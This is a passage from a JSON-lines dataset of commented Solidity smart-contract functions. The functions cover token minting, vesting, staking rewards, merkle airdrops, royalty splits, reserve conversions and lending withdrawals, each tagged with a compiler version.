Vault tokens received\r\n */", "function_code": "function ZapIn(\r\n address fromToken,\r\n uint256 amountIn,\r\n address toVault,\r\n uint256 minMVTokens,\r\n address intermediateToken,\r\n address swapTarget,\r\n bytes calldata swapData,\r\n address affiliate,\r\n bool shouldSellEntireBalance\r\n ) external payable stopInEmergency returns (uint256 tokensReceived) {\r\n require(\r\n approvedTargets[swapTarget] || swapTarget == address(0),\r\n \"Target not Authorized\"\r\n );\r\n\r\n // get incoming tokens\r\n uint256 toInvest =\r\n _pullTokens(\r\n fromToken,\r\n amountIn,\r\n affiliate,\r\n true,\r\n shouldSellEntireBalance\r\n );\r\n\r\n // get intermediate token\r\n uint256 intermediateAmt =\r\n _fillQuote(\r\n fromToken,\r\n intermediateToken,\r\n toInvest,\r\n swapTarget,\r\n swapData\r\n );\r\n\r\n // Deposit to Vault\r\n tokensReceived = _vaultDeposit(intermediateAmt, toVault, minMVTokens);\r\n }", "version": "0.5.17"} {"comment": "/**\n * @dev Mints a new token up to the current supply, stopping at the max supply.\n */", "function_code": "function mintNFTeacher(uint256 _quantity) public payable override {\n require(mintStart <= block.timestamp, 'Minting not started.');\n require(MAX_PER_TX >= _quantity, 'Too many mints.');\n require(currentMaxSupply >= tokenIds.current() + _quantity, 'No more tokens, currently.');\n require(MAX_SUPPLY >= tokenIds.current() + _quantity, 'No more tokens, ever.');\n require(MINT_PRICE * _quantity == msg.value, 'Wrong value sent.');\n\n for (uint8 i = 0; i < _quantity; i++) {\n tokenIds.increment();\n _safeMint(msg.sender, tokenIds.current());\n }\n }", "version": "0.8.9"} {"comment": "/// @dev The receive function is triggered when FTM is received", "function_code": "receive() external payable virtual {\n // check ERC20 token balances while we have the chance, if we send FTM it will forward them\n for (uint256 i = 0; i < royaltyERC20Tokens.length; i++) {\n // send the tokens to the recipients\n IERC20 _token = IERC20(royaltyERC20Tokens[i]);\n if (_token.balanceOf(address(this)) > 0) {\n this.withdrawTokens(royaltyERC20Tokens[i]);\n }\n }\n\n // withdraw the splits\n this.withdraw();\n }", "version": "0.8.9"} {"comment": "// import balance for a group of user with a specific contract terms", "function_code": "function importBalance(address[] memory buyers, uint256[] memory tokens, string memory contractName) public onlyOwner whenNotPaused returns (bool) {\r\n require(buyers.length == tokens.length, \"buyers and balances mismatch\");\r\n \r\n VestingContract storage vestingContract = _vestingContracts[contractName];\r\n require(vestingContract.basisPoints.length > 0, \"contract does not exist\");\r\n\r\n for(uint256 i = 0; i < buyers.length; i++) {\r\n require(tokens[i] > 0, \"cannot import zero balance\");\r\n BuyerInfo storage buyerInfo = _buyerInfos[buyers[i]]; \r\n require(buyerInfo.total == 0, \"have already imported balance for this buyer\");\r\n buyerInfo.total = tokens[i];\r\n buyerInfo.contractName = contractName;\r\n }\r\n\r\n emit ImportBalance(buyers, tokens, contractName);\r\n return true;\r\n }", "version": "0.5.9"} {"comment": "// the number of token can be claimed by the msg.sender at the moment", "function_code": "function claimableToken() public view returns (uint256) {\r\n BuyerInfo storage buyerInfo = _buyerInfos[msg.sender];\r\n\r\n if(buyerInfo.claimed < buyerInfo.total) {\r\n VestingContract storage vestingContract = _vestingContracts[buyerInfo.contractName];\r\n uint256 currentMonth = block.timestamp.sub(_deployTime).div(_month);\r\n \r\n if(currentMonth < vestingContract.startMonth) {\r\n return uint256(0);\r\n }\r\n\r\n if(currentMonth >= vestingContract.endMonth) { // vest the unclaimed token all at once so there's no remainder\r\n return buyerInfo.total.sub(buyerInfo.claimed);\r\n } else {\r\n uint256 claimableIndex = currentMonth.sub(vestingContract.startMonth);\r\n uint256 canClaim = 0;\r\n for(uint256 i = 0; i <= claimableIndex; ++i) {\r\n canClaim = canClaim.add(vestingContract.basisPoints[i]);\r\n }\r\n return canClaim.mul(buyerInfo.total).div(10000).sub(buyerInfo.claimed);\r\n }\r\n }\r\n return uint256(0);\r\n }", "version": "0.5.9"} {"comment": "/**\n * @dev Checks if amount is within allowed burn bounds and\n * destroys `amount` tokens from `account`, reducing the\n * total supply.\n * @param account account to burn tokens for\n * @param amount amount of tokens to burn\n *\n * Emits a {Burn} event\n */", "function_code": "function _burn(address account, uint256 amount) internal virtual override {\n require(amount >= burnMin, \"BurnableTokenWithBounds: below min burn bound\");\n require(amount <= burnMax, \"BurnableTokenWithBounds: exceeds max burn bound\");\n\n super._burn(account, amount);\n emit Burn(account, amount);\n }", "version": "0.8.0"} {"comment": "/* \r\n * @dev Verifies if message was signed by owner to give access to _add for this contract.\r\n * Assumes Geth signature prefix.\r\n * @param _add Address of agent with access\r\n * @param _v ECDSA signature parameter v.\r\n * @param _r ECDSA signature parameters r.\r\n * @param _s ECDSA signature parameters s.\r\n * @return Validity of access message for a given address.\r\n */", "function_code": "function isInvalidAccessMessage(\r\n uint8 _v, \r\n bytes32 _r, \r\n bytes32 _s) \r\n view public returns (bool)\r\n {\r\n bytes32 hash = keccak256(abi.encodePacked(this));\r\n address signAddress = ecrecover(\r\n keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", hash)),\r\n _v,\r\n _r,\r\n _s\r\n );\r\n if (ownerAddy == signAddress){\r\n return true;\r\n }\r\n else{\r\n return false;\r\n }\r\n }", "version": "0.8.7"} {"comment": "/* \r\n * @dev Public Sale Mint\r\n * @param quantity Number of NFT's to be minted at 0.06 with a max of 10 per transaction. This is a gas efficient function.\r\n */", "function_code": "function mint(uint256 quantity) external payable {\r\n require(quantity <= 10, \"Cant mint more than 10\");\r\n require(totalSupply() + quantity <= 3183, \"Sold out\");\r\n require(msg.value >= pricePerPublic * quantity, \"Not enough Eth\");\r\n require(publicLive, \"sale not live\");\r\n _safeMint(msg.sender, quantity);\r\n }", "version": "0.8.7"} {"comment": "/* \r\n * @dev Verifies if message was signed by owner to give access to this contract.\r\n * Assumes Geth signature prefix.\r\n * @param quantity Number of NFT's to be minted at 0.04 with a max of 3. This is a gas efficient function.\r\n * @param _v ECDSA signature parameter v.\r\n * @param _r ECDSA signature parameters r.\r\n * @param _s ECDSA signature parameters s.\r\n */", "function_code": "function mintWL(uint256 quantity, uint8 _v, bytes32 _r, bytes32 _s) external payable noInvalidAccess(_v, _r, _s){\r\n require(quantity <= 3, \"Cant mint more than 3\");\r\n require(totalSupply() + quantity <= 3183, \"Sold out\");\r\n require(msg.value >= pricePerWL * quantity, \"Not enough Eth\");\r\n require(presaleLive, \"sale not live\");\r\n require(WLminted[msg.sender] + quantity <= 3, \"Cant mint more than 3\");\r\n WLminted[msg.sender] += quantity;\r\n _safeMint(msg.sender, quantity);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n \t * @dev Stake `_value` ions on behalf of `_from`\r\n \t * @param _from The address of the target\r\n \t * @param _value The amount to stake\r\n \t * @return true on success\r\n \t */", "function_code": "function stakeFrom(address _from, uint256 _value) public inWhitelist returns (bool) {\r\n\t\trequire (balanceOf[_from] >= _value);\t\t\t\t\t\t// Check if the targeted balance is enough\r\n\t\tbalanceOf[_from] = balanceOf[_from].sub(_value);\t\t\t// Subtract from the targeted balance\r\n\t\tstakedBalance[_from] = stakedBalance[_from].add(_value);\t// Add to the targeted staked balance\r\n\t\temit Stake(_from, _value);\r\n\t\treturn true;\r\n\t}", "version": "0.5.4"} {"comment": "/**\n * @dev See {IMerkleDrop-isClaimed}.\n */", "function_code": "function isClaimed(uint256 index) public view override returns (bool) {\n uint256 claimedWordIndex = index / 256;\n uint256 claimedBitIndex = index % 256;\n uint256 claimedWord = claimedBitMap[claimedWordIndex];\n uint256 mask = (1 << claimedBitIndex);\n return claimedWord & mask == mask;\n }", "version": "0.7.5"} {"comment": "/**\n * @dev See {IMerkleDrop-claim}.\n */", "function_code": "function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external override {\n require(!isClaimed(index), \"MerkleDrop: drop already claimed\");\n\n // Verify the merkle proof.\n bytes32 node = keccak256(abi.encodePacked(index, account, amount));\n require(MerkleProof.verify(merkleProof, merkleRoot, node), \"MerkleDrop: invalid proof\");\n\n // Mark it claimed and send the token.\n _setClaimed(index);\n token.safeTransfer(account, amount);\n emit Claimed(index, account, amount);\n }", "version": "0.7.5"} {"comment": "/**\n * @dev See {IMerkleDrop-stop}.\n */", "function_code": "function stop(address beneficiary) external override onlyOwner {\n require(beneficiary != address(0), \"MerkleDrop: beneficiary is the zero address\");\n // solhint-disable-next-line not-rely-on-time\n require(block.timestamp >= expireTimestamp, \"MerkleDrop: not expired\");\n uint256 amount = token.balanceOf(address(this));\n token.safeTransfer(beneficiary, amount);\n emit Stopped(beneficiary, amount);\n }", "version": "0.7.5"} {"comment": "/**\r\n \t * @dev Store `_value` from `_from` to `_to` in escrow\r\n \t * @param _from The address of the sender\r\n \t * @param _to The address of the recipient\r\n \t * @param _value The amount of network ions to put in escrow\r\n \t * @return true on success\r\n \t */", "function_code": "function escrowFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool) {\r\n\t\trequire (balanceOf[_from] >= _value);\t\t\t\t\t\t// Check if the targeted balance is enough\r\n\t\tbalanceOf[_from] = balanceOf[_from].sub(_value);\t\t\t// Subtract from the targeted balance\r\n\t\tescrowedBalance[_to] = escrowedBalance[_to].add(_value);\t// Add to the targeted escrowed balance\r\n\t\temit Escrow(_from, _to, _value);\r\n\t\treturn true;\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Release escrowed `_value` from `_from`\r\n \t * @param _from The address of the sender\r\n \t * @param _value The amount of escrowed network ions to be released\r\n \t * @return true on success\r\n \t */", "function_code": "function unescrowFrom(address _from, uint256 _value) public inWhitelist returns (bool) {\r\n\t\trequire (escrowedBalance[_from] >= _value);\t\t\t\t\t\t// Check if the targeted escrowed balance is enough\r\n\t\tescrowedBalance[_from] = escrowedBalance[_from].sub(_value);\t// Subtract from the targeted escrowed balance\r\n\t\tbalanceOf[_from] = balanceOf[_from].add(_value);\t\t\t\t// Add to the targeted balance\r\n\t\temit Unescrow(_from, _value);\r\n\t\treturn true;\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * Transfer ions between public key addresses in a Name\r\n \t * @param _nameId The ID of the Name\r\n \t * @param _from The address of the sender\r\n \t * @param _to The address of the recipient\r\n \t * @param _value the amount to send\r\n \t */", "function_code": "function transferBetweenPublicKeys(address _nameId, address _from, address _to, uint256 _value) public returns (bool success) {\r\n\t\trequire (AOLibrary.isName(_nameId));\r\n\t\trequire (_nameTAOPosition.senderIsAdvocate(msg.sender, _nameId));\r\n\t\trequire (!_nameAccountRecovery.isCompromised(_nameId));\r\n\t\t// Make sure _from exist in the Name's Public Keys\r\n\t\trequire (_namePublicKey.isKeyExist(_nameId, _from));\r\n\t\t// Make sure _to exist in the Name's Public Keys\r\n\t\trequire (_namePublicKey.isKeyExist(_nameId, _to));\r\n\t\t_transfer(_from, _to, _value);\r\n\t\treturn true;\r\n\t}", "version": "0.5.4"} {"comment": "/**\n * @dev Check if neither account is blacklisted before performing transfer\n * If transfer recipient is a redemption address, burns tokens\n * @notice Transfer to redemption address will burn tokens with a 1 cent precision\n * @param sender address of sender\n * @param recipient address of recipient\n * @param amount amount of tokens to transfer\n */", "function_code": "function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual override {\n require(!isBlacklisted[sender], \"FavorCurrency: sender is blacklisted\");\n require(!isBlacklisted[recipient], \"FavorCurrency: recipient is blacklisted\");\n\n if (isRedemptionAddress(recipient)) {\n super._transfer(sender, recipient, amount.sub(amount.mod(CENT)));\n _burn(recipient, amount.sub(amount.mod(CENT)));\n } else {\n super._transfer(sender, recipient, amount);\n }\n }", "version": "0.8.0"} {"comment": "/**\n * @dev Requere neither accounts to be blacklisted before approval\n * @param owner address of owner giving approval\n * @param spender address of spender to approve for\n * @param amount amount of tokens to approve\n */", "function_code": "function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal override {\n require(!isBlacklisted[owner], \"FavorCurrency: tokens owner is blacklisted\");\n require(!isBlacklisted[spender] || amount == 0, \"FavorCurrency: tokens spender is blacklisted\");\n\n super._approve(owner, spender, amount);\n }", "version": "0.8.0"} {"comment": "/// @dev withdraw native tokens divided by splits", "function_code": "function withdraw(Payout storage _payout) external onlyWhenInitialized(_payout.initialized) {\n uint256 _amount = address(this).balance;\n if (_amount > 0) {\n for (uint256 i = 0; i < _payout.recipients.length; i++) {\n // we don't want to fail here or it can lock the contract withdrawals\n uint256 _share = (_amount * _payout.splits[i]) / _payout.BASE;\n (bool _success, ) = payable(_payout.recipients[i]).call{value: _share}('');\n if (_success) {\n emit SplitWithdrawal(address(0), _payout.recipients[i], _share);\n }\n }\n }\n }", "version": "0.8.9"} {"comment": "/// @dev withdraw ERC20 tokens divided by splits", "function_code": "function withdrawTokens(Payout storage _payout, address _tokenContract)\n external\n onlyWhenInitialized(_payout.initialized)\n {\n IERC20 tokenContract = IERC20(_tokenContract);\n\n // transfer the token from address of this contract\n uint256 _amount = tokenContract.balanceOf(address(this));\n /* istanbul ignore else */\n if (_amount > 0) {\n for (uint256 i = 0; i < _payout.recipients.length; i++) {\n uint256 _share = i != _payout.recipients.length - 1\n ? (_amount * _payout.splits[i]) / _payout.BASE\n : tokenContract.balanceOf(address(this));\n tokenContract.transfer(_payout.recipients[i], _share);\n emit SplitWithdrawal(_tokenContract, _payout.recipients[i], _share);\n }\n }\n }", "version": "0.8.9"} {"comment": "/// @dev withdraw ERC721 tokens to the first recipient", "function_code": "function withdrawNFT(\n Payout storage _payout,\n address _tokenContract,\n uint256[] memory _id\n ) external onlyWhenInitialized(_payout.initialized) {\n IERC721 tokenContract = IERC721(_tokenContract);\n for (uint256 i = 0; i < _id.length; i++) {\n address _recipient = getNftRecipient(_payout);\n tokenContract.safeTransferFrom(address(this), _recipient, _id[i]);\n }\n }", "version": "0.8.9"} {"comment": "/// @dev Allow a recipient to update to a new address", "function_code": "function updateRecipient(Payout storage _payout, address _recipient)\n external\n onlyWhenInitialized(_payout.initialized)\n {\n require(_recipient != address(0), 'Cannot use the zero address.');\n require(_recipient != address(this), 'Cannot use the address of this contract.');\n\n // loop over all the recipients and update the address\n bool _found = false;\n for (uint256 i = 0; i < _payout.recipients.length; i++) {\n // if the sender matches one of the recipients, update the address\n if (_payout.recipients[i] == msg.sender) {\n _payout.recipients[i] = _recipient;\n _found = true;\n break;\n }\n }\n require(_found, 'The sender is not a recipient.');\n }", "version": "0.8.9"} {"comment": "// Transfer token with data and signature", "function_code": "function transferAndData(address _to, uint _value, string _data) returns (bool) {\r\n //Default assumes totalSupply can't be over max (2^256 - 1).\r\n if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {\r\n balances[msg.sender] -= _value;\r\n balances[_to] += _value;\r\n Transfer(msg.sender, _to, _value);\r\n \r\n return true;\r\n } else { return false; }\r\n }", "version": "0.4.13"} {"comment": "/**\r\n @dev updates one of the token reserves\r\n can only be called by the owner\r\n \r\n @param _reserveToken address of the reserve token\r\n @param _ratio constant reserve ratio, represented in ppm, 1-1000000\r\n @param _enableVirtualBalance true to enable virtual balance for the reserve, false to disable it\r\n @param _virtualBalance new reserve's virtual balance\r\n */", "function_code": "function updateReserve(IERC20Token _reserveToken, uint32 _ratio, bool _enableVirtualBalance, uint256 _virtualBalance)\r\n public\r\n ownerOnly\r\n validReserve(_reserveToken)\r\n validReserveRatio(_ratio)\r\n {\r\n Reserve storage reserve = reserves[_reserveToken];\r\n require(totalReserveRatio - reserve.ratio + _ratio <= MAX_CRR); // validate input\r\n\r\n totalReserveRatio = totalReserveRatio - reserve.ratio + _ratio;\r\n reserve.ratio = _ratio;\r\n reserve.isVirtualBalanceEnabled = _enableVirtualBalance;\r\n reserve.virtualBalance = _virtualBalance;\r\n }", "version": "0.4.16"} {"comment": "// ------------------------------------------------------------------------\n// Withdraw accumulated rewards\n// ------------------------------------------------------------------------", "function_code": "function ClaimReward() external {\r\n require(PendingReward(msg.sender) > 0, \"No pending rewards\");\r\n \r\n uint256 _pendingReward = PendingReward(msg.sender);\r\n \r\n // Global stats update\r\n totalRewards = totalRewards.add(_pendingReward);\r\n \r\n // update the record\r\n users[msg.sender].totalGained = users[msg.sender].totalGained.add(_pendingReward);\r\n users[msg.sender].lastClaimedDate = now;\r\n users[msg.sender].pendingGains = 0;\r\n \r\n // mint more tokens inside token contract equivalent to _pendingReward\r\n require(IERC20(OXS).transfer(msg.sender, _pendingReward));\r\n \r\n emit RewardsCollected(_pendingReward);\r\n }", "version": "0.6.0"} {"comment": "// ------------------------------------------------------------------------\n// This will stop the existing staking\n// ------------------------------------------------------------------------", "function_code": "function StopStaking() external {\r\n require(users[msg.sender].activeDeposit >= 0, \"No active stake\");\r\n uint256 _activeDeposit = users[msg.sender].activeDeposit;\r\n \r\n // update staking stats\r\n // check if we have any pending rewards, add it to previousGains var\r\n users[msg.sender].pendingGains = PendingReward(msg.sender);\r\n // update amount \r\n users[msg.sender].activeDeposit = 0;\r\n // reset last claimed figure as well\r\n users[msg.sender].lastClaimedDate = now;\r\n \r\n // withdraw the tokens and move from contract to the caller\r\n require(IERC20(OXS).transfer(msg.sender, _activeDeposit));\r\n \r\n emit StakingStopped(_activeDeposit);\r\n }", "version": "0.6.0"} {"comment": "//#########################################################################################################################################################//\n//##########################################################FARMING QUERIES################################################################################//\n//#########################################################################################################################################################//\n// ------------------------------------------------------------------------\n// Query to get the pending reward\n// @param _caller address of the staker\n// ------------------------------------------------------------------------", "function_code": "function PendingReward(address _caller) public view returns(uint256 _pendingRewardWeis){\r\n uint256 _totalStakingTime = now.sub(users[_caller].lastClaimedDate);\r\n \r\n uint256 _reward_token_second = ((stakingRate).mul(10 ** 21)).div(365 days); // added extra 10^21\r\n \r\n uint256 reward = ((users[_caller].activeDeposit).mul(_totalStakingTime.mul(_reward_token_second))).div(10 ** 23); // remove extra 10^21 // 10^2 are for 100 (%)\r\n \r\n return reward.add(users[_caller].pendingGains);\r\n }", "version": "0.6.0"} {"comment": "//#########################################################################################################################################################//\n//################################################################COMMON UTILITIES#########################################################################//\n//#########################################################################################################################################################// \n// ------------------------------------------------------------------------\n// Internal function to add new deposit\n// ------------------------------------------------------------------------ ", "function_code": "function _newDeposit(uint256 _amount) internal{\r\n require(users[msg.sender].activeDeposit == 0, \"Already running, use funtion add to stake\");\r\n \r\n // add that token into the contract balance\r\n // check if we have any pending reward, add it to pendingGains variable\r\n users[msg.sender].pendingGains = PendingReward(msg.sender);\r\n \r\n users[msg.sender].activeDeposit = _amount;\r\n users[msg.sender].totalDeposits = users[msg.sender].totalDeposits.add(_amount);\r\n users[msg.sender].startTime = now;\r\n users[msg.sender].lastClaimedDate = now;\r\n \r\n // update global stats\r\n totalStakes = totalStakes.add(_amount);\r\n }", "version": "0.6.0"} {"comment": "// ------------------------------------------------------------------------\n// Internal function to add to existing deposit\n// ------------------------------------------------------------------------ ", "function_code": "function _addToExisting(uint256 _amount) internal{\r\n \r\n require(users[msg.sender].activeDeposit > 0, \"no running farming/stake\");\r\n \r\n // update staking stats\r\n // check if we have any pending reward, add it to pendingGains variable\r\n users[msg.sender].pendingGains = PendingReward(msg.sender);\r\n \r\n // update current deposited amount \r\n users[msg.sender].activeDeposit = users[msg.sender].activeDeposit.add(_amount);\r\n // update total deposits till today\r\n users[msg.sender].totalDeposits = users[msg.sender].totalDeposits.add(_amount);\r\n // update new deposit start time -- new stake will begin from this time onwards\r\n users[msg.sender].startTime = now;\r\n // reset last claimed figure as well -- new stake will begin from this time onwards\r\n users[msg.sender].lastClaimedDate = now;\r\n \r\n // update global stats\r\n totalStakes = totalStakes.add(_amount);\r\n }", "version": "0.6.0"} {"comment": "/**\r\n @dev returns the expected return for buying the token for a reserve token\r\n \r\n @param _reserveToken reserve token contract address\r\n @param _depositAmount amount to deposit (in the reserve token)\r\n \r\n @return expected purchase return amount\r\n */", "function_code": "function getPurchaseReturn(IERC20Token _reserveToken, uint256 _depositAmount)\r\n public\r\n constant\r\n active\r\n validReserve(_reserveToken)\r\n returns (uint256)\r\n {\r\n Reserve storage reserve = reserves[_reserveToken];\r\n require(reserve.isPurchaseEnabled); // validate input\r\n\r\n uint256 tokenSupply = token.totalSupply();\r\n uint256 reserveBalance = getReserveBalance(_reserveToken);\r\n uint256 amount = extensions.formula().calculatePurchaseReturn(tokenSupply, reserveBalance, reserve.ratio, _depositAmount);\r\n\r\n // deduct the fee from the return amount\r\n uint256 feeAmount = getConversionFeeAmount(amount);\r\n return safeSub(amount, feeAmount);\r\n }", "version": "0.4.16"} {"comment": "/**\r\n @dev converts a specific amount of _fromToken to _toToken\r\n \r\n @param _fromToken ERC20 token to convert from\r\n @param _toToken ERC20 token to convert to\r\n @param _amount amount to convert, in fromToken\r\n @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero\r\n \r\n @return conversion return amount\r\n */", "function_code": "function convert(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256) {\r\n require(_fromToken != _toToken); // validate input\r\n\r\n // conversion between the token and one of its reserves\r\n if (_toToken == token)\r\n return buy(_fromToken, _amount, _minReturn);\r\n else if (_fromToken == token)\r\n return sell(_toToken, _amount, _minReturn);\r\n\r\n // conversion between 2 reserves\r\n uint256 purchaseAmount = buy(_fromToken, _amount, 1);\r\n return sell(_toToken, purchaseAmount, _minReturn);\r\n }", "version": "0.4.16"} {"comment": "/**\r\n @dev utility, returns the expected return for selling the token for one of its reserve tokens, given a total supply override\r\n \r\n @param _reserveToken reserve token contract address\r\n @param _sellAmount amount to sell (in the standard token)\r\n @param _totalSupply total token supply, overrides the actual token total supply when calculating the return\r\n \r\n @return sale return amount\r\n */", "function_code": "function getSaleReturn(IERC20Token _reserveToken, uint256 _sellAmount, uint256 _totalSupply)\r\n private\r\n constant\r\n active\r\n validReserve(_reserveToken)\r\n greaterThanZero(_totalSupply)\r\n returns (uint256)\r\n {\r\n Reserve storage reserve = reserves[_reserveToken];\r\n uint256 reserveBalance = getReserveBalance(_reserveToken);\r\n uint256 amount = extensions.formula().calculateSaleReturn(_totalSupply, reserveBalance, reserve.ratio, _sellAmount);\r\n\r\n // deduct the fee from the return amount\r\n uint256 feeAmount = getConversionFeeAmount(amount);\r\n return safeSub(amount, feeAmount);\r\n }", "version": "0.4.16"} {"comment": "// get normal cardlist;", "function_code": "function getNormalCardList(address _owner) external view returns(uint256[],uint256[]){\r\n uint256 len = getNormalCard(_owner);\r\n uint256[] memory itemId = new uint256[](len);\r\n uint256[] memory itemNumber = new uint256[](len);\r\n uint256 startId;\r\n uint256 endId;\r\n (startId,endId) = schema.productionCardIdRange(); \r\n uint256 i;\r\n while (startId <= endId) {\r\n if (cards.getOwnedCount(_owner,startId)>=1) {\r\n itemId[i] = startId;\r\n itemNumber[i] = cards.getOwnedCount(_owner,startId);\r\n i++;\r\n }\r\n startId++;\r\n } \r\n return (itemId, itemNumber);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * Mint Doges by owner\r\n */", "function_code": "function reserveDoges(address _to, uint256 _numberOfTokens) external onlyOwner {\r\n require(_to != address(0), \"Invalid address to reserve.\");\r\n uint256 supply = totalSupply();\r\n uint256 i;\r\n \r\n for (i = 0; i < _numberOfTokens; i++) {\r\n _safeMint(_to, supply + i);\r\n }\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * Mints tokens\r\n */", "function_code": "function mintDoges(uint256 numberOfTokens) external payable {\r\n require(saleIsActive, \"Sale must be active to mint\");\r\n require(numberOfTokens <= maxToMint, \"Invalid amount to mint per once\");\r\n require(totalSupply().add(numberOfTokens) <= MAX_DOGE_SUPPLY, \"Purchase would exceed max supply\");\r\n require(mintPrice.mul(numberOfTokens) <= msg.value, \"Ether value sent is not correct\");\r\n\r\n for(uint256 i = 0; i < numberOfTokens; i++) {\r\n uint256 mintIndex = totalSupply();\r\n _safeMint(msg.sender, mintIndex);\r\n }\r\n\r\n // If we haven't set the starting index and this is either\r\n // 1) the last saleable token or 2) the first token to be sold after\r\n // the reveal time, set the starting index block\r\n if (startingIndexBlock == 0 && (totalSupply() == MAX_DOGE_SUPPLY || block.timestamp >= REVEAL_TIMESTAMP)) {\r\n startingIndexBlock = block.number;\r\n }\r\n }", "version": "0.7.6"} {"comment": "//withdraw an amount including any want balance", "function_code": "function _withdraw(uint256 amount) internal returns (uint256) {\r\n uint256 balanceUnderlying = cToken.balanceOfUnderlying(address(this));\r\n uint256 looseBalance = want.balanceOf(address(this));\r\n uint256 total = balanceUnderlying.add(looseBalance);\r\n\r\n if (amount.add(dustThreshold) >= total) {\r\n //cant withdraw more than we own. so withdraw all we can\r\n if(balanceUnderlying > dustThreshold){\r\n require(cToken.redeem(cToken.balanceOf(address(this))) == 0, \"ctoken: redeemAll fail\");\r\n }\r\n looseBalance = want.balanceOf(address(this));\r\n want.safeTransfer(address(strategy), looseBalance);\r\n return looseBalance;\r\n }\r\n\r\n if (looseBalance >= amount) {\r\n want.safeTransfer(address(strategy), amount);\r\n return amount;\r\n }\r\n\r\n //not state changing but OK because of previous call\r\n uint256 liquidity = want.balanceOf(address(cToken));\r\n\r\n if (liquidity > 1) {\r\n uint256 toWithdraw = amount.sub(looseBalance);\r\n\r\n //we can take all\r\n if (toWithdraw > liquidity) {\r\n toWithdraw = liquidity;\r\n }\r\n require(cToken.redeemUnderlying(toWithdraw) == 0, \"ctoken: redeemUnderlying fail\");\r\n\r\n }\r\n looseBalance = want.balanceOf(address(this));\r\n want.safeTransfer(address(strategy), looseBalance);\r\n return looseBalance;\r\n }", "version": "0.6.12"} {"comment": "//we use different method to withdraw for safety", "function_code": "function withdrawAll() external override management returns (bool all) {\r\n //redo or else price changes\r\n cToken.mint(0);\r\n\r\n uint256 liquidity = want.balanceOf(address(cToken));\r\n uint256 liquidityInCTokens = convertFromUnderlying(liquidity);\r\n uint256 amountInCtokens = cToken.balanceOf(address(this));\r\n\r\n if (liquidityInCTokens > 2) {\r\n liquidityInCTokens = liquidityInCTokens-1;\r\n\r\n if (amountInCtokens <= liquidityInCTokens) {\r\n //we can take all\r\n all = true;\r\n cToken.redeem(amountInCtokens);\r\n } else {\r\n liquidityInCTokens = convertFromUnderlying(want.balanceOf(address(cToken)));\r\n //take all we can\r\n all = false;\r\n cToken.redeem(liquidityInCTokens);\r\n }\r\n }\r\n\r\n want.safeTransfer(address(strategy), want.balanceOf(address(this)));\r\n return all;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Approve an address to spend another addresses' tokens.\r\n * @param owner The address that owns the tokens.\r\n * @param spender The address that will spend the tokens.\r\n * @param value The number of tokens that can be spent.\r\n */", "function_code": "function _approve(address owner, address spender, uint256 value) internal {\r\n require(owner != address(0), \"ERC20: approve from the zero address\");\r\n require(spender != address(0), \"ERC20: approve to the zero address\");\r\n\r\n _allowances[owner][spender] = value;\r\n emit Approval(owner, spender, value);\r\n }", "version": "0.5.10"} {"comment": "/* solhint-disable quotes */", "function_code": "function tokenURI(uint256 tokenId) public view override returns (string memory) {\n require(_exists(tokenId), \"Bp:tU:404\");\n\n FilterMatrix memory tokenFilters = filterMap[tokenId];\n return\n string(\n abi.encodePacked(\n \"data:application/json;base64,\",\n Base64.encode(\n bytes(\n abi.encodePacked(\n '{\"name\":\"Blitpop ',\n IBlitmap(BLITMAP_ADDRESS).tokenNameOf(tokenId),\n '\", \"description\":\"Blitpops are onchain Blitmap derivatives. To construct the artwork, the original Blitmap with corresponding token ID is fetched, collaged and filtered to return a modified onchain SVG.\", \"image\": \"',\n svgBase64Data(tokenId, tokenFilters.filter1, tokenFilters.filter2, tokenFilters.filter3),\n '\", ',\n tokenProperties(tokenFilters),\n '\"}}'\n )\n )\n )\n )\n );\n }", "version": "0.8.0"} {"comment": "/** @dev Creates `amount` tokens and assigns them to `account`, increasing\r\n * the total supply.\r\n * - `to` cannot be the zero address.\r\n */", "function_code": "function _distribute(address account, uint256 amount) internal virtual {\r\n require(account != address(0), \"ERC20: unable to do toward the zero address\");\r\n\r\n _beforeTokenTransfer(address(0), account, amount);\r\n\r\n _totalSupply = _totalSupply.add(amount);\r\n _balances[account] = _balances[account].add(amount);\r\n emit Transfer(address(0), account, amount);\r\n }", "version": "0.6.12"} {"comment": "// Check for the possibility of buying tokens. Inside. Constant.", "function_code": "function validPurchase() internal constant returns (bool) {\r\n\r\n // The round started and did not end\r\n bool withinPeriod = (now > startTime && now < endTime);\r\n\r\n // Rate is greater than or equal to the minimum\r\n bool nonZeroPurchase = msg.value >= minPay;\r\n\r\n // hardCap is not reached, and in the event of a transaction, it will not be exceeded by more than OverLimit\r\n bool withinCap = msg.value <= hardCap.sub(weiRaised()).add(overLimit);\r\n\r\n // round is initialized and no \"Pause of trading\" is set\r\n return withinPeriod && nonZeroPurchase && withinCap && isInitialized && !isPausedCrowdsale;\r\n }", "version": "0.4.18"} {"comment": "// The Manager freezes the tokens for the Team.\n// You must call a function to finalize Round 2 (only after the Round2)", "function_code": "function finalize1() public {\r\n require(wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender);\r\n require(team);\r\n team = false;\r\n lockedAllocation = new SVTAllocation(token, wallets[uint8(Roles.team)]);\r\n token.addUnpausedWallet(lockedAllocation);\r\n // 12% - tokens to Team wallet after freeze (77% for investors)\r\n // *** CHECK THESE NUMBERS ***\r\n token.mint(lockedAllocation,allToken.mul(12).div(77));\r\n }", "version": "0.4.18"} {"comment": "// calculates the senior ratio", "function_code": "function calcSeniorRatio(uint seniorAsset, uint nav, uint reserve_) public pure returns(uint) {\n // note: NAV + reserve == seniorAsset + juniorAsset (loop invariant: always true)\n // if expectedSeniorAsset is passed ratio can be greater than ONE\n uint assets = calcAssets(nav, reserve_);\n if(assets == 0) {\n return 0;\n }\n\n return rdiv(seniorAsset, 